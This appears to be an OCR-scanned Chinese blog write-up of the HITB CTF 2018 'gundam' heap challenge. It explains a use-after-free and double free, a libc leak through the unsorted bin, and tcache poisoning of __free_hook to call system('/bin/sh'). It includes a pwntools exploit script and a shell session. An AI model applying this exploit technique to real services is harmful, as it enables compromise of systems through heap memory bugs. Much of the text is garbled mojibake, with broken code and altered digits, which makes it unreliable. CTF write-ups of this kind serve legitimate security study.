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gundamlSufile . pwn

pwn:-ELF . 64-bitLSB shared object, x86-64, version 1 (SYSV), dynamically linked,
interpreter /1ib64/1d-1linux-x86-64.s50.2, for GNU/Linux 3.2.0, BuildID[shal]=564
3cd77b84ace35448d38fc49e4d3668ef45fea, stripped
gundamlS$.checksec pwn
[*] */home/pwn/\xe6\xal\x8c\xe9\x9d\xa2/gundaml/pwn'

Arch: amd64-64-1little

RELRO:

Stack:

NX:
PIE-
gundaml$utdd®pwn
linux-vdso.so0.1 (Ox00007fff5e0fe000)
libc.so.61=>"/11b/x86_64-1linux-gnu/libc.so.6 (0x00007f39799fd000
/ib64/1d=linux-x86-64.50.2 (0x00007f3979e06000) https:/fblog.csdn.netiq

X B 7 2 H change_|d.pyiZs 58 3 pwn3C48 1A AR 2 (5% itk 2 4038 \T LA A patchelf/docker 58 #i i 7<)
TR 15, 38 & 48— 15 F patchelf$i AT
T #libc-2.26.s0f1%F Mld.soX i Blgundam B &% F


https://blog.csdn.net/qq_33976344
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--replace-needed libc.so0.6 ./libc-2.26.s0 pwn
--set-interpreter ./1d-2.26.s0 pwn

gundam$ patchelf --replace-needed libc.so.6 ./libc-2.26.s0 pwn

gundam$ patchelf --set-interpreter ./1d-2.26.s0 pwn
gundam$ ldd pwn
linux-vdso.so.l (0x00007ffe7bfde000)
./1libc-2.26.s0 (Ox00007f9cebel6000)
/1ld-2.26.50 => /1ib64/1d-1linux-x86-64.s50.2 (Ox00007f9cec3fd000O)

ERIE, RIBITEEERFRE
gundam$ ./pwn

Build a gundam
Visit gundams
Destory a gundam
Blow up the factory
ExaE

Your choice : 1
The name of gundam :zz
The type of the gundam

Build a gundam
Visit gundams

Destory a gundam
Blow up the factory
=

Your choice

Gundam[0]
Type[0] :Agies

Build a gundam
Visit gundams
Destory a gundam

Blow up the factory
Exit https://blog.csdn.net/gq_
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void _ fastcall main(_ int64 al, char **a2,

I
1

char buf[1@]; //
unsigned _ int64 v4;

- (0x28u);
(al, a2, a3);
while ( 1)
{
();
(@, > 8ull);
switch ( (buf) )

default:
(
break;
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_int64 sub_B7D()

int vi;
unsigned int i;
void *s;

void *buf;

unsigned __ int64 v5;

v5 = _ readfsqword(0x28u);
S OLL;
buf oLL;
if ( (unsigned int)dword_20208C 8 )
{
s malloc(@Ox28ull);
memset(s, O, Ox28ulLl);
buf = malloc(©x100uLL);
if ( !'buf )
{
puts(
exit(-1);
)i
printf(
read(@, buf, ©x100uLL);
((_QWORD *)s 1) buf;
printf(
__iso0c99_scanf( , &vl);
if (v1 (%] vl 2)
{
puts( )
exit(0);
}
strcpy((char *)s aFreedom[20 * v1]);
(_DWORD *)s ilg
for (i 0; i 8; i)
{
if ( !qword_2020A0[i] )
{
qword_2020A0[1] S;

break;

dword_20208C;

s
return OLL;

s gundam&s #4&, bufF 77 itname, 45144 K/ H0x28, gundamiifactory$i 4l 2 qword 2020a0 , B R K <=8,
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_int64 sub _D32()
{
unsigned int vi;

unsigned __ int64 v2;

v2 ___readfsqword(©x28u);
if ( dword_20208C )
{
printf(
__iso0c99_scanf( , &vl);
if (v1 8 gword_2020A0[v1] )
{
puts( )5
return OLL;
)i
gword_2020A0[v1] 0;
free(*(qword_2020A0[v1] 8LL));
)i
else
{
puts(

)i
return OLL;

JekgundamBZ2 B MR EE N0 *quord_2020A0[v1] = 0, ZRJEEEKbUf free(*(qword_2020A0[v1] + 8LL))

—HtElfree, BIE IR B MY HER, factory[i|fEgundamftlBr 5 & H B %, buffe 4t & — B FER, factory[il->buf il BE# E R B, 5
Shbuff &t B R B Anull, B DA AT B R FEUAFIRIR, 88 — M Z8BIRTHE, s 2B —Ngundam 2 G & B ¥R/t #

2% dword_20208C -1
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unsigned _ int64 sub_E22()
{
unsigned int 1i;

unsigned _ int64 v2;

v2 = _ readfsqword(@x28u);
for (i 0; i 8; i)
{
if ( qword_2020A0[1i] gqword_2020A0[i] )
{
free(qword_2020A0[i]);
qword_2020A0[1] oLL;
dword_20208C;
b
b

puts( )
return _ readfsqword(@x28u) v2;
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struct gundam{

int in_use_tag;

char *buf_ptr;

char type[24];
1
J

(1) FEFIHunsorted binfjchunkitt ElibcEht, i85 free_hookFlsystemithhit
(2) F F 2K thfastbinfdouble freed i fili&tcache poisoning, AE&  free _hookZyHitchunk, 2R G152k free_hook Asystemitsiik

(3) B gundam, i Mfree(), JLBY <& Fsystem("/bin/sh"), get shell

SeRETT /> chunk3EiFtcache, 28 JFE RS /\ > chunk & i3 Aunsorted bin

0x564de@fcchlO
0x564dedfcch40
0x564dedfcc750
0x564de@fcc780
0x564de0fcc890
Ox564de0fcc8cO
0x564dedfcc9do
0x564de0fccabd
Ox564de®fcchlO
Ox564de@fcch40

None
0x564deB@fcc510
None
0x564de@fcch50
None
0x564de@fcc790
None
0x564de@fcc8dO
None
0x7f9b7f8a9c78
None
None

None
None
None
None
None
None
None
None
None
0x7f9b718a9c78
None
None

«— 0x564deOfccbh40
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TR H B B8/ chunk, 2584 Nchunk % in"\x00" BEL Wi 4 &, BT LAVisited $U AT LA B main_arenaitit, iIXFElibcEE bk 5t AT PATHE H R

pwndbg> x/10gx 0x563142967b40 - 0x10
: Ox006d6f6465657246
0x0000000000000000

0x0000000000000000
0x0000000000000111
0x00007fa3ac7c4c78
Ox0000000000000000
Ox0000000000000000

Ox0ab5ab5a5a5ab5ababa
Ox0000000000000000
Ox0000000000000000

i Hlibc-2.26.s03X M4, £ EImain_arenaff ik



)

T 3k R tcache poisoning, F Fdouble free¥ chunkOfIfd$& 4t 3& i) chunk 02 &

pwndbg> bin

Ox563aefcabal R NG =R fe- 1 FRAC)

blow_up()

0x55dc149b3640
0x55dc149b3750
0x55dc149b3780
0x55dc149b3890
0x55dc149b38c0O
0x55dc149b39d0
0x55dc149b3a00
0x55dc149b3b10
0x55dc149b3b40

build(p64(free_hook_addr))
build( )

pwndbg> x/10gx 0x55630092ca00
0x0000000000000000
0x00007fb6af4158a8
0x0000000000000000
0x0000000000000000

pwndbg> bin

None
0x55dc149b38a0
None
0x55dc149b39e0
None

Ox0
0x55dc149b3alo
None

None

0x0000000000000111
0x000000000000000a
0x0000000000000000
0x0000000000000000

None
None
None
None
None
None
None

None
CSDNdRfa1c4




pwndbg> x/10gx 0x560d6eefdalo
: Ox0000000000000000 Ox0000000000000111
0x0068732f6e69622f 0x000000000000000a
0x0000000000000000 Ox0000000000000000
0x0000000000000000 0x0000000000000000
0x0000000000000000 Ox0000000000000000

X B E L, BE—T, £ —4 build(p64(free_hook addr)) £{chunkOHIfdE fifree_hook_addr, Ihiffree hookit i 4E A
tcache bin T, T—# build(b"/bin/sh\xe0") £¥chunk05 % /bin/sh\xee , thitchunkO# 584> B & H SR (H1E T IR, 28 Z K
iHchunkOEt AN fEtcache ™ T), B J5 B B 15— chunk, i< B 15 %] free_hook_addr P E AL, B NI EIEH S 5 free_hook_addr
XA Bsystem_addr, B destory(1) BiAEIAF system("/bin/sh\")

from pwn import

, 26290

process(filename) if sel 0 else remote(url, port)

)

def P():
gdb.attach(io)
pause()

build(name):

io.sendlineafter(
io.sendlineafter(
io.sendlineafter(

visit():

io.sendlineafter(

destroy(idx):
io.sendlineafter(

io.sendlineafter(

blow up():

io.sendlineafter(

IEEIOR
global free_hook_addr, system_addr

for i in (9):

build( )

for i in (7):
destroy (i)
destroy(7)

blow_up()
for i in (8):
build( 7)




leak = u64(io.recvuntil( , drop=True)[-6:].1just(8,
libc_base = leak - Ox3DAC78

free_hook_addr libc_base libc.symbols| ]
system_addr libc_base libc.symbols|

log.info( libc_base)
log.info( free_hook_addr)
log.info( system_addr)

overwrite():
destroy(2)
destroy(1)
destroy(9)
destroy(9)

blow_up()

build(p64(free_hook_addr))
build( )

build(p64(system_addr))

pwn():

destroy(1)
io.interactive()

if _ name_
leak()
overwrite()

pwn ()

[*] Switching to interactive mode
$ 1s
[DEBUG] Sent 0x3 bytes:
b'ls\n'
[DEBUG] Received 0x3e bytes:
b'core exp.ipynb exp.py 1d-2.26.s0 1libc-2.26.s0 ot.py pwn\n'

core exp.ipynb exp.py 1d-2.26.s0 1libc-2.26.s0 ot.py pwn
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(1) change_ld2 J&, HHBLXAMH IR, FBITAT

6.1.19_pwn_hitbctf2018_gundam$ ./gundam_debug

GNU C Library (Ubuntu GLIBC 2.26-0Qubuntu2.1) stable release version 2.26,

and McGrath et al.
Copyright (C) 2017 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.

There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A

PARTICULAR PURPOSE.

Compiled by GNU CC version 6.4.0 20171010.

Available extensions:
crypt add-on version 2.1 by Michael Glad and others
GNU Libidn by Simon Josefsson
Native POSIX Threads Library by Ulrich Drepper et al
BIND-8.2.3-T5B

libc ABIs: UNIQUE IFUNC

For bug reporting instructions, please see:

<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.

JR A #1d.so5libc-2.26.s08 ¥, change _|d2 T 5 stld i AR, libchi 4 75 2 53 4158 2k
(2) fEglibc-all-in-one E R ILEL IId.so, RILE FHlibc-2.26.soR AT BA T £, B\ #

glibc-all-in-one-master$ cat list
.23-0ubuntull.3 _amd64
.23-0ubuntull.3 1386
.23-0ubuntu3_amd64
.23-0ubuntu3_1386
.27-3ubuntul.2_amd64
.27-3ubuntul.2_1386
.27-3ubuntul.4_amd64
.27-3ubuntul.4_ 1386
.27-3ubuntul_amd64
.27-3ubuntul_ 1386
.31-0ubuntu9.2_amd64
.31-0ubuntu9.2_1386
.31-0ubuntu9_amd64
.31-0Oubuntu9_1386
.32-0ubuntu3.2_amd64
.32-0ubuntu3.2_1386
.32-0ubuntu3_amd64
.32-0ubuntu3_1386
.33-0ubuntu5_amd64
.33-0ubuntu5_1386
.33-0ubuntu9_amd64
.33-0ubuntu9 it‘ﬁtgr—ﬁ-".-"tjl|::|L_;_|:::-;|:1r'|_nEt-"|3 C

(L1

MPMNMNMNMNMNMNMNMNMNMNMONMNMNMNMMMNNNMNRRRBDRMNDRNR

fEold_listfF7E2. 26/ A, it T # R

glibc-all-in-one-master$ cat old_list
2.21-0ubuntud4.3_amd64

2.21-0ubuntud4.3 1386
2.21-0ubuntud4_amd64

https://blog.csdn.net/aq_3




.24-3ubuntul_amd64
.24-3ubuntul_ 1386
.24-3ubuntu2.2_amd64
.24-3ubuntu2.2_1386
.24-9ubuntu2.2_amd64
.24-9ubuntu2.2_1386
.24-9ubuntu2_amd64
.24-9ubuntu2_1386
.26-0ubuntu2.1_amd64
.26-0ubuntu2.1 1386
.26-0ubuntu2_amd64
.26-0ubuntu2_1386
.28-0ubuntul_amd64
.28-0ubuntul_ 1386
.29-0ubuntu2_amdé64
.29-0ubuntu2_1386
.30-0ubuntu2.2_amd64
.30-0ubuntu2.2_ 1386
.30-0ubuntu2_amd64 .
30-0ubuntu? i386 hitps://blog.csdn.net/q

2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2

glibc-all-in-one-master$ ./download 2.26-Qubuntu2_amd64
Getting 2.26-0Oubuntu2_amd64

-> Location: https://mirror.tuna.tsinghua.edu.cn/ubuntu/pool/main/g/glibc/1libc
6_2.26-0ubuntu2_amdé4.deb

-> Downloading libc binary package
Failed to download package from https://mirror.tuna.tsinghua.edu.cn/ubuntu/pool/
main/g/glibc/libc6_2.26-0ubuntu2_amd64.deb

HRT KPR, $ 2T BRe € libeAId R4S i 3 ik
https://github.com/5N1p3R0010/libc-Id.so
THILE2.26H)1d.s0, B Bt —# I 3 #ld.so 5 libc.sofi 4%, 217

(3) Hfdouble freefs__ free_hookHiuik ft J5 H

AR

A5 F T tcache, 5 E 4% tcache B 7~ chunk, 37 2 J& 858->chunk 4 £ A unsorted bin

F| Filfastbin dup — B IR R, [ — A chunk® Y33 A\ tcache bin, & Sinextig 4t #i&tcache poisoning
5%

https://ffirmianay.gitbook.io/ctf-all-in-one/6_writeup/pwn/6.1.19_pwn_hitbctf2018_gundam

http://blog.topsec.com.cn/pwn%E7 %9A %84 %E8%89%BA%E6%9C %AF %E6%B5%85%E8%B0%88%EF %BC %88%E4%BA
%8C%EF %BC%89%EF %B C %9Alinux%E5%A0%86%E7%9B %B8%E5%85%B3/

https://lexsd6.github.io/2021/03/25/%E4%BF %AE %E6%94 %B9OELF %E6%96 %87 %E4%BB %B6libc%E4%B8%BA%E6%8C %
87%ES%AEY%OAY%ET %89%88%E6%IC%AC/

https://blog.csdn.net/Longyu_wiz/article/details/108550528


https://github.com/5N1p3R0010/libc-ld.so
https://firmianay.gitbook.io/ctf-all-in-one/6_writeup/pwn/6.1.19_pwn_hitbctf2018_gundam
http://blog.topsec.com.cn/pwn%25E7%259A%2584%25E8%2589%25BA%25E6%259C%25AF%25E6%25B5%2585%25E8%25B0%2588%25EF%25BC%2588%25E4%25BA%258C%25EF%25BC%2589%25EF%25BC%259Alinux%25E5%25A0%2586%25E7%259B%25B8%25E5%2585%25B3/
https://lexsd6.github.io/2021/03/25/%25E4%25BF%25AE%25E6%2594%25B9ELF%25E6%2596%2587%25E4%25BB%25B6libc%25E4%25B8%25BA%25E6%258C%2587%25E5%25AE%259A%25E7%2589%2588%25E6%259C%25AC/
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